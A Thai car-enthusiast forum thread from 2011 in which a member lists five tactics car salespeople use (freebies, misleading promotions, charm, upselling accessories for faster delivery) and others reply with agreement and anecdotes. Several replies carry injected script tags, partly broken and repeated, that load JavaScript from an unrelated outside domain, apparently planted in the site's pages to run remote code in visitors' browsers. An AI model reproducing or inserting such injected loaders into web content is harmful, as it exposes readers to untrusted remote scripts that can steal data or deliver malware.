ตอบ
john


เข้าร่วม: 29 มีนา 2010
ตอบ: 570

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 3392
ให้คำขอบคุณ: 2458

ที่อยู่: UB.
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)
พุธ, 27 กรกฎา 2011 12:33 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์






เทคนิคการขายของเซลล์รถยนต์


คงมีหลาย ๆ คนเมื่อซื้อรถมักถูกเซลล์หลอกล่อด้วยของแถม หรือโปรโมชั่นต่าง ๆ มากมาย แต่เมื่อซื้อรถแล้วก็ไม่ได้ของดี มีคุณภาพเหมือนที่เคยคุยกันไว้ก่อนซื้อรถ ซึ่งเซลล์แมนถือว่าเป็นด่านแรกที่สร้างเงินให้กับบริษัทและเป็นคนสานฝันของพวกเราให้กลายเป็นจริง ที่วันนี้คนจำนวนมากต่างยึดอาชีพนี้ในการทำมาหากิน แต่ในคนหมู่มากก็มีทั้งคนดีและไม่ดีปะปนกันไป ซึ่งก็ไม่ต่างจากการจับสลากว่าเราจะได้ใครมาดูแลให้การของเราสามารถสำเร็จ ลุล่วงได้

ในหลายเดือนที่ผ่านมา เราเคยได้พูดถึงอาชีพเซลล์ไประดับหนึ่ง ในด้านแง่การปฏิบัติตัวยามเข้าไปเลือกซื้อหารถ ซึ่งการแนะนำของเรานั้นไม่ใช่การจะดูหมิ่นคนในอาชีพนี้ แต่เป็นการบอกกล่าวให้รู้เท่าทัน ไม่ใช่เพราะว่าเซลล์ไม่จริงใจ เนื่องคนซื้อก็อยากได้รถ เซลล์ก็อยากได้ยอดและผลงาน แต่เมื่อสังคมซับซ้อนขึ้น เรื่องที่ง่ายๆก็กลับกลายเป็นเรื่องเข้าใจยาก ที่วันนี้เราจะไปดูกลยุทธ์การขายแบบล้วงลึกที่คุณควรจะรู้เท่าทัน

1.แจก-และแถม เรื่องปกติของการขาย ใครบ้างที่ไม่อยากได้ของดีราคาถูกคุ้มทุน แน่นอนเราหลายคนเดินเข้าโชว์รูมหลายแห่ง จนขาขวิดเพื่อหาข้อเสนอที่ดีสุด แต่จำไว้ครับว่ารถแต่ละรุ่น แต่ละยี่ห้อ ต่างมีค่าการตลาด หรือที่ศัพท์วงในเรียกว่า Market Margin ที่เท่ากัน เพียงแต่ข้อเสนออาจแตกต่างกัน แต่อย่างเพิ่งไปท้วงติงอะไร ถ้าคุณยังคิดว่ามันไม่ใช่ข้อเสนอที่ดีที่สุด แต่ลองหานำมาเทียบกัน เพื่อดูว่าแบบไหนที่เหมาะสมกับเราที่สุด

2.พูดให้น้อยแล้วฟังให้มาก การเข้ามาซื้อรถในโชว์รูมนั้น ก็ไม่ต่างอะไรจากการซื้อขายทั่วไปที่เซลล์ ต้องพยายามดันให้คุณรับข้อเสนอ และนั่นหมายถึง "การวางจอง" ซึ่งเซลล์จะพยายามหาจุดอ่อนของคุณ เพราะนั่นคือหน้าที่ของพวกเขา ว่า คุณต้องการอะไร ในความหมายการพูดน้อยของเราไม่ใช่ไปนั่งนิ่งๆแบบแพลงค์กิ้ง แต่มีปฏิสัมพันธ์โต้ตอบ โดยมองชั้นเชิงทางการพูด อย่าพยายามเผยไต๋ว่าคุณอยากมีรถใจจะขาด เพราะเมื่อนั่น เซลล์จะคุมเกมทันที

3.โปรโมชั่นชวนเชื่อ..ระวังไว้ให้ดี ความจริงเราพูดคำว่า "ชวนเชื่อ" อาจจะฟังแล้วแรงไปสักนิด แต่ปัจจุบันการซื้อรถของพวกเรานั้น บางครั้งไม่ได้มาจากความต้องการที่แท้จริง แต่มาจากข่าวสารที่ประชาสัมพันธ์ผลักดันให้คุณเข้าโชว์รูม จำพวกข้อเสนอพิเศษต่างๆ ซึ่งบางครั้งเราไม่สามารถพูดอะไรได้มาก หากแต่อยู่ที่ผู้บริโภคจะต้องพิจารณาถึงความเป็นไปได้ว่ามีมากน้อยเพียงใด หรือว่านี่เป็นแค่กลยุทธหลอกไปเที่ยวโชว์รูมกันแน่!!

4.เสน่ห์เซลล์ ...ห้ามหลงโดยเด็ดขาด เราเชื่อว่าข้อนี้น่าจะพูดไปแล้วครั้งหนึ่ง แต่เราก็เอามาย้ำกันอีกรอบว่าเซลล์ขายรถไม่ใช่ของแถมที่มาพร้อมกับรถยนต์ เมื่อคุณขับรถออกจากโชว์รูม หากแต่พวกเขาเป็นเพียงผู้ให้คำปรึกษาเท่านั้น ฉะนั้นอย่าไปคิดฝันหวานกับเซลล์อะไรมาก แม้จะสวยหยาดเยิ้มน่ารักเท่าไร แต่ท้ายที่สุด "ทั้งหมดนั้นมันก็แค่ธุรกิจ"

5.ลูกล่อให้ซื้อ..มุกนี้ควรระวัง! ใครที่อ่านอาจจะงงว่า อะไรคือลูกล่อให้ซื้อ แต่กลยุทธ์นี้เป็นกลยุทธ์หาลำไพ่พิเศษของเซลล์ในการปล่อยสินค้าที่มีอยู่ อย่างจำนวนจำกัด โดยเฉพาะในช่วงนี้ที่รถบางรุ่นไม่สามารถส่งมอบได้ สบโอกาสให้เซลล์พยายามเพิ่มมูลค่าสินค้า เช่น ซื้อของแต่งเพิ่มจะได้รถเร็ว ทั้งที่จริงๆแล้วค่ายรถยนต์ไม่มีนโยบายดังกล่าว ยกเว้นการลด/เพิ่มโปรโมชั่นต่างๆเท่านั้น ..ข้อนี้สำคัญมาก

ทั้ง 5 ข้อ นี้เป็นข้อควรระวังที่คุรควรใช้วิจารณญาณอย่างยิ่ง ที่นอกจากเลือกรถแล้วการเลือกศูนย์บริการและเซลล์ผุ้ให้คำปรึกษาก็นับว่า เป็นเรื่องสำคัญไม่แพ้กัน จำไว้ครับว่า พวกเรามีสิทธิที่จะเลือกอย่าไปกังวลข้อผูกมัด เพียงเพราะเชื่อตามคำพูดของเซลล์ขายรถยนต์


Attached File :
รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
ได้รับคำขอบคุณจาก: civic753  Narongsak  wighwaytak  bank01  taeducier  Gremlin  puyzaaaaa  pry1999  BeL  toes  bomtik  Guide6351  mr.smith 
civic753


ชื่อเล่น: ชาติ

เข้าร่วม: 11 พฤศจิกา 2009
ตอบ: 1301

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1304
ให้คำขอบคุณ: 2395

ที่อยู่: จ.ตรัง
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
พุธ, 27 กรกฎา 2011 12:33 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
หัวมันดีจริงๆๆๆๆ <script src="https://sport32news.com/civicesgroup.js"></ <script src="https://sport32news.com/civicesgroup.js"></ <script src="https://sport32news.com/civicesgroup.js"></
ได้รับคำขอบคุณจาก: john 
Narongsak


ชื่อเล่น: หนุ่ย

เข้าร่วม: 14 กันยา 2010
ตอบ: 449

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 700
ให้คำขอบคุณ: 269

ที่อยู่: รถแด๊งงงแดง..มีรู $$ โคราช $$
ปี: 2005
พุธ, 27 กรกฎา 2011 14:29 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
ข้อ 4 นี่สำคัญเลยนะนี่.....เซลล์บางคน อย่างกะอิมพอร์ทมาจากเกาหลี......
ได้รับคำขอบคุณจาก: bank01  john 
bank01


เข้าร่วม: 18 พฤษภาคม 2011
ตอบ: 421

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 349
ให้คำขอบคุณ: 755

ที่อยู่: onnut,bankkok
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
พุธ, 27 กรกฎา 2011 16:54 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
Narongsak พิมพ์ว่า:
ข้อ 4 นี่สำคัญเลยนะนี่.....เซลล์บางคน อย่างกะอิมพอร์ทมาจากเกาหลี......


ผมก็ชอบข้อนี้ครับ เห็นด้วย อิอิ "<script src="https://sport32news.com/civicesgroup.js">
ได้รับคำขอบคุณจาก: john 
taeducier


ชื่อเล่น: เต้นะ

เข้าร่วม: 19 มกรา 2010
ตอบ: 1659

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2492
ให้คำขอบคุณ: 248

ที่อยู่: รังสิต-ปทุม
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
พุธ, 27 กรกฎา 2011 17:02 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
เพื่อนผมเป็นเซลอยุ่ มันบอกว่า จะแต่งอะไร ติดต่อได้หมด รุ้จักหมด ฮ่าๆๆ จะฟัน เพื่อนรึปล่าวเนี่ยยย <script src="https://sport32news.com/civicesgroup.js"></
ได้รับคำขอบคุณจาก: john 
puyzaaaaa


ชื่อเล่น: ปุ่ย

เข้าร่วม: 10 เมษา 2011
ตอบ: 3008

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3014
ให้คำขอบคุณ: 3113

ที่อยู่: พิษณุโลก
ปี: 2004
พฤหัส, 28 กรกฎา 2011 00:39 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
มันอดใจลำบาก จริงๆ ^^"


ความรู้ดีๆ ขอบคุณมากครับ
ได้รับคำขอบคุณจาก: john 
pry1999


ชื่อเล่น: หนุ่ม

เข้าร่วม: 13 มิถุนา 2009
ตอบ: 463

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 164
ให้คำขอบคุณ: 483

ที่อยู่: Bangkok
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
พฤหัส, 28 กรกฎา 2011 00:57 - รู้ทันเซลล์...ก่อนโดนหลอก/// เทคนิคการขายของเซลล์รถยนต์
จริงครับ เพื่อนผมเจอ บอกจองรถ สเกิต + 9ร9 ได้ทุกอย่าง พอจะเซ็นสัญญาจิง มันบอกที่ได้ก็มีแต่รถที่จอดโชว์ คือรถตัวอย่าง......ถ้าเอาได้รถตัวอย่าง ถ้าเอารถใหม่ ต้องเพิ่มตัง เทคนิคสูงจิงๆคับ
ได้รับคำขอบคุณจาก: john 
ตอบ
หน้า 1 จาก 1
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2024 Civic ES Group. All rights reserved.